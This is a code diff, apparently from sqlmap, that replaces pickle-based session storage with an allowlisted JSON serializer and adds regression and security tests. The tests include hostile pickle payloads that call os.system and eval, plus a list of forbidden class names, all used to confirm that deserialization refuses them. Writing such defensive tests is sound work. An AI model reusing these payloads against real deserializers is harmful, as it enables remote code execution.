value.microsecond]} + + if isinstance(value, datetime.date): + return {_SERIALIZE_TAG: "date", "v": [value.year, value.month, value.day]} + + if isinstance(value, datetime.time): + return {_SERIALIZE_TAG: "time", "v": [value.hour, value.minute, value.second, value.microsecond]} + + if isinstance(value, datetime.timedelta): + return {_SERIALIZE_TAG: "td", "v": [value.days, value.seconds, value.microseconds]} + + name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__) + if name in _SERIALIZE_CLASSES: + return {_SERIALIZE_TAG: "o", "c": name, "s": _serializeEncode(dict(value.__dict__))} + + return _serializeUnknown(value, name) + +def _serializeUnknown(value, name): + """ + Fallback for a type not explicitly handled by the serializer + """ + + # sqlmap's own (or bundled) classes MUST be added to the allowlist explicitly - fail loudly + # (caught by the regression tests) rather than silently store something that cannot be restored + if (name or "").split(".")[0] in ("lib", "plugins", "thirdparty"): + raise TypeError("serialization of type '%s' is not supported" % name) + + # a foreign/exotic scalar (e.g. an unusual DB-driver value): degrade to its textual form rather + # than crash a user's session - session values are only ever rendered (getUnicode) downstream + singleTimeWarnMessage("serializing value of unsupported type '%s' as text" % name) + return getUnicode(value) + +def _serializeDecode(struct): + """ + Restores a Python value from a JSON-deserialized (tagged) structure + """ + + if struct is None or isinstance(struct, bool) or isinstance(struct, float) or isinstance(struct, six.integer_types): + return struct + + if isinstance(struct, six.text_type): + return struct + + if isinstance(struct, six.binary_type): # defensive - json.loads() yields text, not bytes + return getUnicode(struct) + + if isinstance(struct, list): + return [_serializeDecode(_) for _ in struct] + + if isinstance(struct, dict): + tag = struct.get(_SERIALIZE_TAG) + + if tag == "b": + raw = decodeBase64(struct["v"], binary=True) + return bytearray(raw) if struct.get("a") else raw + elif tag == "t": + return tuple(_serializeDecode(_) for _ in struct["v"]) + elif tag == "f": + return frozenset(_serializeDecode(_) for _ in struct["v"]) + elif tag == "ba": + return BigArray([_serializeDecode(_) for _ in struct["v"]]) + elif tag == "s": + return set(_serializeDecode(_) for _ in struct["v"]) + elif tag == "m": + return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct["v"]) + elif tag == "dec": + return decimal.Decimal(struct["v"]) + elif tag == "dt": + return datetime.datetime(*struct["v"]) + elif tag == "date": + return datetime.date(*struct["v"]) + elif tag == "time": + return datetime.time(*struct["v"]) + elif tag == "td": + return datetime.timedelta(struct["v"][0], struct["v"][1], struct["v"][2]) + elif tag == "o": + return _serializeDecodeObject(struct) + elif tag is None: # defensive - a bare mapping should never occur + return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct.items()) + else: + raise ValueError("unsupported serialized tag '%s'" % tag) + + raise ValueError("unsupported serialized structure of type '%s'" % type(struct)) + +def _serializeResolveClass(name): + """ + Resolves an allowlisted class name to its class (nothing else may be reconstructed) + """ + + if name not in _SERIALIZE_CLASSES: + raise ValueError("deserialization of class '%s' is forbidden" % name) + + if name == "lib.utils.har.RawPair": + from lib.utils.har import RawPair + return RawPair + else: + from lib.core.datatype import AttribDict, InjectionDict + return InjectionDict if name.endswith("InjectionDict") else AttribDict + +def _serializeDecodeObject(struct): + """ + Reconstructs an allowlisted class instance from its serialized form + """ + + _class = _serializeResolveClass(struct.get("c")) + retVal = _class.__new__(_class) + + if isinstance(retVal, dict): + for pair in (struct.get("d") or []): + dict.__setitem__(retVal, _serializeDecode(pair[0]), _serializeDecode(pair[1])) + + state = _serializeDecode(struct.get("s") or {}) + if isinstance(state, dict): + retVal.__dict__.update(state) return retVal -def base64unpickle(value): +def serializeValue(value): """ - Decodes value from Base64 to plain format and deserializes (with pickle) its content + Safely serializes a Python value to its canonical serialized form (JSON text), without any + code-execution risk - >>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object + Note: the output is pure ASCII text, so it is stored verbatim in the (TEXT) session store - no + Base64 (or any base-N) wrapping is needed (that was only required by the former binary + serialization), which also keeps the stored form as small as possible. Callers that need raw + bytes (e.g. a compressed BigArray disk chunk) simply encode the returned text. + + >>> deserializeValue(serializeValue({1: 'a', 'b': (2, 3), 'c': {4, 5}})) == {1: 'a', 'b': (2, 3), 'c': {4, 5}} + True + >>> deserializeValue(serializeValue([1, 2, (3, {4: b'5'})])) == [1, 2, (3, {4: b'5'})] True """ - retVal = None + return json.dumps(_serializeEncode(value), ensure_ascii=True, separators=(',', ':')) - try: - retVal = pickle.loads(decodeBase64(value)) - except TypeError: - retVal = pickle.loads(decodeBase64(bytes(value))) +def deserializeValue(value): + """ + Restores a Python value from its serialized form (accepts the serialized data as either text or + bytes) + """ - return retVal + return _serializeDecode(json.loads(getText(value))) def htmlUnescape(value): """ diff --git a/lib/core/patch.py b/lib/core/patch.py index 2063ac37aa2..c7796d0615b 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -178,52 +178,6 @@ def reject(*args): raise ValueError("XML entities are forbidden") et.parse = _safe_parse et._patched = True - import io - import pickle - if not getattr(pickle, "_patched", False): - class RestrictedUnpickler(pickle.Unpickler): - # Note: allowlist (not blacklist) - a module blacklist is bypassable (e.g. importlib/ctypes/operator), so only - # explicitly-safe builtin data types and sqlmap's own (and bundled) classes are permitted to be unpickled - def find_class(self, module, name): - # Note: protocol-2 pickling of a 'bytes' value on Python 3 emits a _codecs.encode global; allow that one - # (it only runs a codec, e.g. latin1 - it cannot execute arbitrary code) so serialized values containing - # bytes round-trip. Everything else from _codecs (e.g. lookup) stays blocked by the rule below. - if module == "_codecs" and name == "encode": - pass - # safe builtin data types only (blocks eval/exec/__import__/getattr/etc.) - elif module in ("builtins", "__builtin__"): - if name not in ("set", "frozenset", "dict", "list", "tuple", "int", "float", "bool", "str", "bytes", "bytearray", "object", "NoneType", "complex"): - raise ValueError("unpickling of '%s.%s' is forbidden" % (module, name)) - # everything else must be one of sqlmap's own (or bundled) classes (e.g. lib.core.datatype.AttribDict) - elif (module or "").split(".")[0] not in ("lib", "plugins", "thirdparty"): - raise ValueError("unpickling of module '%s' is forbidden" % module) - - # Python 2/3 method resolution - if hasattr(pickle.Unpickler, "find_class"): - return pickle.Unpickler.find_class(self, module, name) - - __import__(module) - return getattr(sys.modules[module], name) - - def _safe_loads(data): - try: - stream = io.BytesIO(data) - except TypeError: - stream = io.StringIO(data) - - return RestrictedUnpickler(stream).load() - - pickle.loads = _safe_loads - pickle._patched = True - - try: - import cPickle - if not getattr(cPickle, "_patched", False): - cPickle.loads = pickle.loads - cPickle._patched = True - except ImportError: - pass - try: import builtins except ImportError: diff --git a/lib/core/settings.py b/lib/core/settings.py index 01edfd27958..9fe124d0555 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.39" +VERSION = "1.10.7.40" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -868,11 +868,8 @@ # Number of retries for unsuccessful HashDB end transaction attempts HASHDB_END_TRANSACTION_RETRIES = 3 -# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) -HASHDB_MILESTONE_VALUE = "GpqxbkWTfz" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' - -# Pickle protocl used for storage of serialized data inside HashDB (https://docs.python.org/3/library/pickle.html#data-stream-format) -PICKLE_PROTOCOL = 2 +# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing the hash/serialization mechanism) +HASHDB_MILESTONE_VALUE = "MvKpZrBqTn" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index 21588a1892a..7763442e2e6 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -6,10 +6,11 @@ """ from lib.core.common import Backend -from lib.core.datatype import AttribDict from lib.core.settings import EXCLUDE_UNESCAPE -class Unescaper(AttribDict): +# Note: a plain dict (DBMS -> escape function) with a helper method; it is a runtime registry, never +# serialized, so it deliberately does NOT use AttribDict (no attribute-style access is needed here) +class Unescaper(dict): def escape(self, expression, quote=True, dbms=None): if expression is None: return expression diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index fbd58b0ce29..c15389519a3 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -165,8 +165,9 @@ def flush(self): self._write_cache = {} self._last_flush_time = time.time() + began = False try: - self.beginTransaction() + began = self.beginTransaction() for hash_, value in flush_cache.items(): retries = 0 while True: @@ -197,23 +198,30 @@ def flush(self): else: break finally: - self.endTransaction() + # Only close a transaction we actually opened; when flush() runs nested inside an + # outer batch (e.g. lib/utils/hash.py wrapping cracked-password writes) beginTransaction() + # returns False and the outer owner keeps ownership - ending it here would commit it early + if began: + self.endTransaction() def beginTransaction(self): threadData = getCurrentThreadData() - if not threadData.inTransaction: + if threadData.inTransaction: + return False # already inside an (outer) transaction; do not nest + + try: + self.cursor.execute("BEGIN TRANSACTION") + except Exception: # Note: deliberately not bare - a KeyboardInterrupt here must propagate try: - self.cursor.execute("BEGIN TRANSACTION") - except: - try: - # Reference: http://stackoverflow.com/a/25245731 - self.cursor.close() - except sqlite3.ProgrammingError: - pass - threadData.hashDBCursor = None - self.cursor.execute("BEGIN TRANSACTION") - finally: - threadData.inTransaction = True + # Reference: http://stackoverflow.com/a/25245731 + self.cursor.close() + except sqlite3.ProgrammingError: + pass + threadData.hashDBCursor = None + self.cursor.execute("BEGIN TRANSACTION") + + threadData.inTransaction = True # set only on a genuine BEGIN (not if the retry above raised) + return True def endTransaction(self): threadData = getCurrentThreadData() diff --git a/tests/test_convert.py b/tests/test_convert.py index f33315faef9..9ca997f5a7c 100644 --- a/tests/test_convert.py +++ b/tests/test_convert.py @@ -21,7 +21,7 @@ from lib.core.convert import (decodeHex, encodeHex, decodeBase64, encodeBase64, getBytes, getText, getUnicode, getOrds, - jsonize, dejsonize, base64pickle, base64unpickle) + jsonize, dejsonize, serializeValue, deserializeValue) from lib.core.common import decodeDbmsHexValue try: @@ -109,36 +109,31 @@ def test_jsonize_produces_text_not_identity(self): self.assertEqual(jsonize(123), "123") # int -> textual "123" -class TestBase64Pickle(unittest.TestCase): - # Types sqlmap actually serializes (injection objects, cached values, BigArray). +class TestSerialize(unittest.TestCase): + # Smoke coverage of the safe (JSON-based) session serializer; the exhaustive corner-case + # and security suite lives in tests/test_serialize.py. def test_roundtrip_allowed_types(self): for obj in [[1, 2, 3], {"a": 1}, (1, 2), "text", 42, 3.14, True, None, {"k": [1, {"n": "v"}]}]: - self.assertEqual(base64unpickle(base64pickle(obj)), obj) + self.assertEqual(deserializeValue(serializeValue(obj)), obj) - # REGRESSION: under Python 3 + PICKLE_PROTOCOL=2 a raw `bytes` value is pickled via the - # `_codecs.encode` global. The RestrictedUnpickler allowlist (patch.py) once rejected that, - # so any serialized session value containing bytes failed to load on py3. The fix allows - # exactly `_codecs.encode` (a benign codec call). Bytes MUST round-trip on both py2 and py3. def test_bytes_roundtrip(self): for raw in [b"x", b"\x00\x01\xff", b"\xde\xad\xbe\xef"]: - self.assertEqual(base64unpickle(base64pickle(raw)), raw, msg="bytes round-trip %r" % raw) + self.assertEqual(deserializeValue(serializeValue(raw)), raw, msg="bytes round-trip %r" % raw) def test_bytes_nested_in_container_roundtrip(self): for obj in [{"a": b"bytes"}, [b"ab", "s", 1, None], ("t", b"\xde\xad")]: - self.assertEqual(base64unpickle(base64pickle(obj)), obj, msg="nested-bytes round-trip %r" % (obj,)) - - def test_dangerous_globals_still_blocked(self): - # bootstrap() installs sqlmap's RestrictedUnpickler over pickle.loads. These are VALID - # pickles that reference os.system / builtins.eval - stdlib would import them happily; the - # allowlist must reject them. Assert the SPECIFIC "forbidden" ValueError (not just any - # error) so the test proves the allowlist fired, not that the bytes failed to parse. - import pickle - for payload in (b"cos\nsystem\n.", b"c__builtin__\neval\n."): - try: - pickle.loads(payload) - self.fail("dangerous global was NOT blocked: %r" % payload) - except ValueError as ex: - self.assertIn("forbidden", str(ex), msg="unexpected error for %r: %s" % (payload, ex)) + self.assertEqual(deserializeValue(serializeValue(obj)), obj, msg="nested-bytes round-trip %r" % (obj,)) + + def test_output_is_plain_ascii_text_no_base64(self): + # the serialized form must be readable JSON text (not Base64 / binary) so it lands verbatim in + # the TEXT session column with zero wrapping overhead + out = serializeValue({"k": [1, (2, 3)]}) + self.assertIsInstance(out, str) + self.assertTrue(out.startswith("{") and out.endswith("}"), out) + + def test_deserialize_accepts_bytes(self): + # BigArray hands the serialized data back as bytes (off a compressed disk chunk) + self.assertEqual(deserializeValue(getBytes(serializeValue([1, (2, 3)]))), [1, (2, 3)]) if __name__ == "__main__": diff --git a/tests/test_serialize.py b/tests/test_serialize.py new file mode 100644 index 00000000000..fb7b72bcb71 --- /dev/null +++ b/tests/test_serialize.py @@ -0,0 +1,462 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Exhaustive lock on the safe (JSON-based, no code execution) serializer that backs the +session store (HashDB) and BigArray disk chunks - the replacement for the former +code-executing serializer. + +Two properties must hold forever, on BOTH Python 2.7 and 3.x: + + 1. CORRECTNESS - every value sqlmap actually persists must round-trip losslessly, with + its exact type. The historically fragile cases are covered explicitly: integer/tuple + dict keys (naive JSON turns them into strings), tuple-vs-list, set/frozenset, bytes, + the AttribDict/InjectionDict/RawPair classes and their internal state, and the native + DB-driver scalars (Decimal/datetime/...) that '-d' direct-mode output can contain. + A regression here silently corrupts a user's saved session. + + 2. SECURITY - deserialization must NEVER execute code and must reconstruct ONLY the small + explicit class allowlist. Any other class name (os.system, subprocess.Popen, eval, + lib.core.common.shellExec, ...) must be refused with a "forbidden" ValueError, and a + crafted legacy payload must fail inertly (no side effects). + +Kept deliberately verbose - each case maps to a real session/BigArray value or a real report. +""" + +import datetime +import decimal +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.bigarray import BigArray +from lib.core.convert import deserializeValue, encodeBase64, getUnicode, serializeValue +from lib.core.convert import _SERIALIZE_TAG +from lib.core.datatype import AttribDict, InjectionDict, LRUDict +from lib.utils.har import RawPair +from thirdparty import six + +INTS = six.integer_types +_unichr = six.unichr + + +def rt(value): + """Full session round-trip: value -> JSON text -> value.""" + return deserializeValue(serializeValue(value)) + + +def _import_all_modules(): + """Import every sqlmap module (like --smoke-test) so class-subclass reflection sees them all.""" + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for base in ("lib", "plugins", "tamper"): + for dirpath, _, filenames in os.walk(os.path.join(root, base)): + if any(skip in dirpath for skip in ("thirdparty", "extra", "tests", "__pycache__")): + continue + for filename in filenames: + if filename.endswith(".py") and filename not in ("__init__.py", "gui.py"): + dotted = os.path.join(dirpath, filename[:-3]).replace(root + os.sep, "").replace(os.sep, ".") + try: + __import__(dotted) + except Exception: + pass # import health is --smoke-test's job; here we only need the classes that DO load + + +def _all_subclasses(cls): + for sub in cls.__subclasses__(): + yield sub + for _ in _all_subclasses(sub): + yield _ + + +class TestScalars(unittest.TestCase): + def test_simple(self): + for value in [None, True, False, 0, 1, -1, 42, 3.14, -0.5, 0.0]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIs(type(restored) is bool, type(value) is bool) # bool never collapses to int + + def test_big_ints(self): + for value in [2 ** 64, 2 ** 200, -(2 ** 128)]: + self.assertEqual(rt(value), value) + + def test_text(self): + # empty, ascii, non-BMP, sqlmap's reversible-codec private-use-area char, control chars + for value in [u"", u"plain", _unichr(0x2299) + u" mid " + _unichr(0xFF), + _unichr(0x1F600) if sys.maxunicode > 0xFFFF else u"x", + _unichr(0xF0055), u"tab\tnewline\nquote\"backslash\\"]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, six.text_type) + + +class TestBinary(unittest.TestCase): + def test_bytes(self): + for value in [b"", b"abc", b"\x00\x01\x02\xff\xfe", bytes(bytearray(range(256)))]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, bytes) + + def test_bytearray(self): + value = bytearray(b"\x00binary\xff") + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, bytearray) + + def test_memoryview(self): + # some drivers (e.g. psycopg2 on py3) return memoryview for BLOB columns + restored = rt(memoryview(b"\x00\x01blob")) + self.assertEqual(bytes(restored) if isinstance(restored, (bytearray, memoryview)) else restored, b"\x00\x01blob") + + +class TestContainers(unittest.TestCase): + def test_list_nested(self): + value = [1, [2, [3, [4]]], "x", None] + self.assertEqual(rt(value), value) + + def test_tuple_preserved(self): + for value in [(), (1,), (1, 2, "x"), ((1, 2), (3,))]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, tuple) # must NOT degrade to list + + def test_tuple_not_confused_with_list(self): + restored = rt([(1, 2), [1, 2]]) + self.assertIsInstance(restored[0], tuple) + self.assertIsInstance(restored[1], list) + + def test_set_and_frozenset(self): + for value in [set(), {1, 2, 3}, {u"a", u"b"}]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, set) + fs = frozenset([1, 2]) + restored = rt(fs) + self.assertEqual(restored, fs) + self.assertIsInstance(restored, frozenset) + + +class TestDicts(unittest.TestCase): + def test_string_keys(self): + value = {u"a": 1, u"b": {u"c": [1, 2]}} + self.assertEqual(rt(value), value) + + def test_int_keys_preserved(self): + # THE landmine: naive json.dumps turns {1: ...} into {"1": ...}; injection.data is int-keyed + restored = rt({1: u"one", 2: u"two", 100: u"hundred"}) + self.assertEqual(restored, {1: u"one", 2: u"two", 100: u"hundred"}) + self.assertTrue(all(isinstance(k, INTS) for k in restored), list(restored)) + + def test_tuple_and_mixed_keys(self): + value = {(1, 2): u"tuple-key", u"s": 1, 7: u"int-key"} + restored = rt(value) + self.assertEqual(restored, value) + self.assertIn((1, 2), restored) + self.assertTrue(any(isinstance(k, INTS) and not isinstance(k, bool) for k in restored)) + + def test_empty_dict(self): + self.assertEqual(rt({}), {}) + + +class TestSqlmapTypes(unittest.TestCase): + def test_attribdict(self): + value = AttribDict() + value.foo = u"bar" + value["n"] = {u"k": [1, (2, 3)]} + restored = rt(value) + self.assertIsInstance(restored, AttribDict) + self.assertEqual(restored.foo, u"bar") + self.assertEqual(restored["n"], {u"k": [1, (2, 3)]}) + + def test_attribdict_keycheck_flag_preserved(self): + strict = AttribDict(keycheck=True) + lax = AttribDict(keycheck=False) + self.assertTrue(rt(strict).__dict__.get("_keycheck")) + self.assertFalse(rt(lax).__dict__.get("_keycheck")) + # a lax AttribDict returns None for a missing attribute instead of raising - behaviour must survive + self.assertIsNone(rt(lax).nonexistent_attribute) + + def test_injectiondict_full(self): + inj = InjectionDict() + inj.place = "GET" + inj.parameter = "id" + inj.ptype = 1 + inj.prefix = "" + inj.suffix = "" + inj.dbms = "MySQL" + inj.notes = ["note1"] + # int-keyed .data (PAYLOAD.TECHNIQUE.* are ints), each a nested AttribDict + for stype in (1, 5): + data = AttribDict() + data.title = "technique %d" % stype + data.payload = u"id=1 AND %d=%d" % (stype, stype) + data.where = 1 + data.vector = None + data.matchRatio = 0.987 + data.trueCode = 200 + data.falseCode = 500 + inj.data[stype] = data + inj.conf = AttribDict() + inj.conf.textOnly = False + + restored = rt([inj])[0] + self.assertIsInstance(restored, InjectionDict) + self.assertEqual(restored.place, "GET") + self.assertEqual(restored.parameter, "id") + self.assertEqual(restored.notes, ["note1"]) + self.assertEqual(set(restored.data.keys()), set((1, 5))) + self.assertTrue(all(isinstance(k, INTS) for k in restored.data), list(restored.data)) + self.assertIsInstance(restored.data[1], AttribDict) + self.assertEqual(restored.data[1].title, "technique 1") + self.assertEqual(restored.data[1].matchRatio, 0.987) + self.assertIsNone(restored.data[1].vector) + self.assertIsInstance(restored.conf, AttribDict) + self.assertFalse(restored.conf.textOnly) + + def test_bigarray_type_preserved(self): + # BigArray is a list subclass; it must round-trip AS a BigArray, not degrade to a plain list + restored = rt(BigArray([1, 2, (3, 4), u"x"])) + self.assertIsInstance(restored, BigArray) + self.assertEqual(list(restored), [1, 2, (3, 4), u"x"]) + + def test_rawpair(self): + # the class stored in a BigArray by the HAR collector + pair = RawPair(b"GET / HTTP/1.1", b"HTTP/1.1 200 OK", startTime=1.5, endTime=2.5, extendedArguments={u"k": u"v"}) + restored = rt(pair) + self.assertIsInstance(restored, RawPair) + self.assertEqual(restored.request, b"GET / HTTP/1.1") + self.assertEqual(restored.response, b"HTTP/1.1 200 OK") + self.assertEqual(restored.startTime, 1.5) + self.assertEqual(restored.extendedArguments, {u"k": u"v"}) + + +class TestDbmsScalars(unittest.TestCase): + # '-d' direct-mode query output (and dump BigArray) can hold native driver types + def test_decimal(self): + for value in [decimal.Decimal("0"), decimal.Decimal("1.50"), decimal.Decimal("-0.0001"), decimal.Decimal("123456789.987654321")]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, decimal.Decimal) + + def test_datetime_family(self): + cases = [ + datetime.datetime(2024, 1, 2, 3, 4, 5, 6), + datetime.datetime(1970, 1, 1, 0, 0, 0), + datetime.date(1999, 12, 31), + datetime.time(23, 59, 58, 123456), + datetime.timedelta(days=3, seconds=7, microseconds=9), + datetime.timedelta(0), + ] + for value in cases: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIs(type(restored), type(value)) + + +class TestRealSessionObjects(unittest.TestCase): + # the exact shapes written with serialize=True across the codebase + def test_brute_tables_columns(self): + tables = [("mydb", "users"), ("mydb", "logs")] + columns = [("mydb", "users", "id", "numeric"), ("mydb", "users", "name", "non-numeric")] + self.assertEqual(rt(tables), tables) + self.assertEqual(rt(columns), columns) + self.assertTrue(all(isinstance(_, tuple) for _ in rt(tables))) + + def test_dynamic_markings(self): + markings = [(u"", None), (None, u""), (u"pre", u"suf")] + self.assertEqual(rt(markings), markings) + self.assertTrue(all(isinstance(_, tuple) for _ in rt(markings))) + + def test_abs_file_paths_set(self): + paths = set([u"/var/www/index.php", u"/etc/passwd"]) + restored = rt(paths) + self.assertEqual(restored, paths) + self.assertIsInstance(restored, set) # resume code does an explicit isinstance(_, set) union + + def test_kb_chars_attribdict(self): + chars = AttribDict() + chars.delimiter = u"abcdef" + chars.start = u"//start//" + chars.stop = u"//stop//" + restored = rt(chars) + self.assertIsInstance(restored, AttribDict) + self.assertEqual(restored.delimiter, u"abcdef") + + +class TestSecurity(unittest.TestCase): + def _forged(self, class_name): + # the raw on-wire object wrapper as a hostile session file would hold it (a plain JSON + # object tag; NOT produced via the encoder, which would re-tag a dict as a harmless map) + return json.dumps({_SERIALIZE_TAG: "o", "c": class_name, "s": {}}) + + def test_forbidden_classes_rejected(self): + for name in ("os.system", "subprocess.Popen", "builtins.eval", "__builtin__.eval", + "lib.core.common.shellExec", "lib.core.common.evaluateCode", "lib.core.common.openFile"): + try: + deserializeValue(self._forged(name)) + self.fail("class %r was NOT rejected" % name) + except ValueError as ex: + self.assertIn("forbidden", str(ex), msg="unexpected error for %r: %s" % (name, ex)) + + def test_legacy_payload_fails_inertly(self): + # an OLD session stored base64-of-pickle as TEXT; the new text reader must fail on it + # WITHOUT executing anything (and, in practice, the bumped HASHDB_MILESTONE_VALUE means such + # a value is never even looked up). Use a classic protocol-0 os.system pickle as the payload. + sentinel = os.path.join(tempfile.gettempdir(), "sqlmap_serialize_sentinel_%d" % os.getpid()) + if os.path.exists(sentinel): + os.remove(sentinel) + legacy_pickle = b"cos\nsystem\n(S'touch " + sentinel.encode("ascii", "ignore") + b"'\ntR." + legacy_stored = encodeBase64(legacy_pickle, binary=False) # exactly what old sqlmap wrote + try: + deserializeValue(legacy_stored) # base64 blob is not valid JSON -> raises + except Exception: + pass # any failure is fine; the point is no execution + self.assertFalse(os.path.exists(sentinel), "legacy payload EXECUTED (sentinel created)") + + def test_hashdb_ignores_undecodable_old_value(self): + # the belt-and-suspenders guarantee: even if an un-deserializable (e.g. legacy) value IS + # looked up, HashDB.retrieve() swallows it and returns None - a stale session never crashes + from lib.utils.hashdb import HashDB + + handle, path = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + os.remove(path) + try: + db = HashDB(path) + db.write("legacy", encodeBase64(b"cos\nsystem\n(S'x'\ntR.", binary=False)) # stored, NOT serialized + db.flush() + db._write_cache.clear() + db._read_cache.cache.clear() + self.assertIsNone(db.retrieve("legacy", unserialize=True)) # must be None, not an exception + db.closeAll() + finally: + if os.path.exists(path): + os.remove(path) + + def test_sqlmap_type_not_in_allowlist_fails_loud(self): + # a sqlmap-own class that is not allowlisted must raise on SERIALIZE (dev-visible), never be + # silently dropped - LRUDict lives in lib.* and is not serializable + self.assertRaises(TypeError, serializeValue, LRUDict(capacity=2)) + + def test_foreign_exotic_value_degrades_to_text(self): + # a non-sqlmap, non-handled scalar degrades to its textual form rather than crashing a session + self.assertEqual(rt(complex(1, 2)), getUnicode(complex(1, 2))) + + +class TestBigArrayDisk(unittest.TestCase): + def test_scalar_chunks_through_disk(self): + ba = BigArray(chunk_size=1) # force one chunk per item -> exercises the on-disk path + source = [] + for i in range(300): + row = (i, u"name%d" % i, decimal.Decimal("%d.25" % i), None, b"\x00\xff") + source.append(row) + ba.append(row) + self.assertGreater(len(ba.chunks), 1) + self.assertEqual(len(ba), 300) + self.assertEqual(list(ba), source) + self.assertEqual(ba[150], source[150]) + self.assertEqual(ba[-1], source[-1]) + + def test_rawpair_chunks_through_disk(self): + ba = BigArray(chunk_size=1) + for i in range(40): + ba.append(RawPair(b"REQ%d" % i, b"RESP%d" % i, startTime=float(i), endTime=float(i) + 1, extendedArguments={u"i": i})) + got = list(ba) + self.assertEqual(len(got), 40) + self.assertTrue(all(isinstance(_, RawPair) for _ in got)) + self.assertEqual(got[7].request, b"REQ7") + self.assertEqual(got[7].extendedArguments, {u"i": 7}) + + +class TestAllowlistGuard(unittest.TestCase): + """CI guard: catch a NEW class becoming serializable before it reaches a user's session.""" + + def test_allowlist_names_resolve_and_stay_in_sync(self): + # every allowlisted name must resolve to a class whose real module.qualname matches - keeps + # convert._SERIALIZE_CLASSES and convert._serializeResolveClass in lockstep (a rename/move/ + # typo of an allowlisted class fails here instead of silently at a user's session load) + from lib.core.convert import _SERIALIZE_CLASSES, _serializeResolveClass + for name in _SERIALIZE_CLASSES: + cls = _serializeResolveClass(name) + self.assertEqual("%s.%s" % (cls.__module__, cls.__name__), name) + + def test_no_undeclared_attribdict_subclass(self): + # AttribDict/InjectionDict carry the session's structured data. A NEW AttribDict subclass that + # ends up stored in the session would be REJECTED by the serializer at a user's runtime. Catch + # it here coverage-INDEPENDENTLY: import the whole tree, then require every AttribDict subclass + # to be declared serializable in convert._SERIALIZE_CLASSES. + from lib.core.convert import _SERIALIZE_CLASSES + from lib.core.datatype import AttribDict + + _import_all_modules() + + offenders = sorted(set( + "%s.%s" % (cls.__module__, cls.__name__) + for cls in _all_subclasses(AttribDict) + ) - set(_SERIALIZE_CLASSES)) + + self.assertEqual(offenders, [], ( + "undeclared AttribDict subclass(es): %s -- if stored in the session, add it to BOTH " + "convert._SERIALIZE_CLASSES and convert._serializeResolveClass (else the safe serializer " + "raises on it at a user's runtime). If it is a runtime-only registry, make it subclass a " + "plain dict instead of AttribDict (see lib.core.unescaper.Unescaper) so it never lands " + "here." % offenders + )) + + def test_known_serializable_classes_present(self): + # lock the intended set: exactly the dict-like data types plus the HAR RawPair. If this list + # legitimately grows, update it here deliberately (a conscious review point). + from lib.core.convert import _SERIALIZE_CLASSES + self.assertEqual(set(_SERIALIZE_CLASSES), set(( + "lib.core.datatype.AttribDict", + "lib.core.datatype.InjectionDict", + "lib.utils.har.RawPair", + ))) + + +class TestHashDBIntegration(unittest.TestCase): + def test_write_retrieve_roundtrip(self): + from lib.utils.hashdb import HashDB + + handle, path = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + os.remove(path) + try: + inj = InjectionDict() + inj.place = "GET" + inj.parameter = "id" + inj.data[1] = AttribDict() + inj.data[1].title = "boolean-based blind" + inj.data[1].matchRatio = 0.9 + value = [inj] + + db = HashDB(path) + db.write("KB_INJECTIONS", value, serialize=True) + db.flush() + # drop the in-memory caches so retrieve() must SELECT the serialized blob back off + # disk and deserialize it (the real resume path), rather than returning a cached object + db._write_cache.clear() + db._read_cache.cache.clear() + restored = db.retrieve("KB_INJECTIONS", unserialize=True) + db.closeAll() + + self.assertIsInstance(restored, list) + self.assertIsInstance(restored[0], InjectionDict) + self.assertEqual(restored[0].place, "GET") + self.assertTrue(all(isinstance(k, INTS) for k in restored[0].data)) + self.assertEqual(restored[0].data[1].title, "boolean-based blind") + self.assertEqual(restored[0].data[1].matchRatio, 0.9) + finally: + if os.path.exists(path): + os.remove(path) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqllint.py b/tests/test_sqllint.py new file mode 100644 index 00000000000..06468690006 --- /dev/null +++ b/tests/test_sqllint.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests + atom-level SQL coverage for lib/utils/sqllint.py. + +Two concerns: + + 1. Linter self-test - a curated set of well-formed fragments/statements that + must NOT flag, malformed ones that MUST flag, and the cross-dialect edge + cases the linter has learned (==, ::, $/backtick identifiers, LIKE() as a + function, HSQLDB "LIMIT off lim", 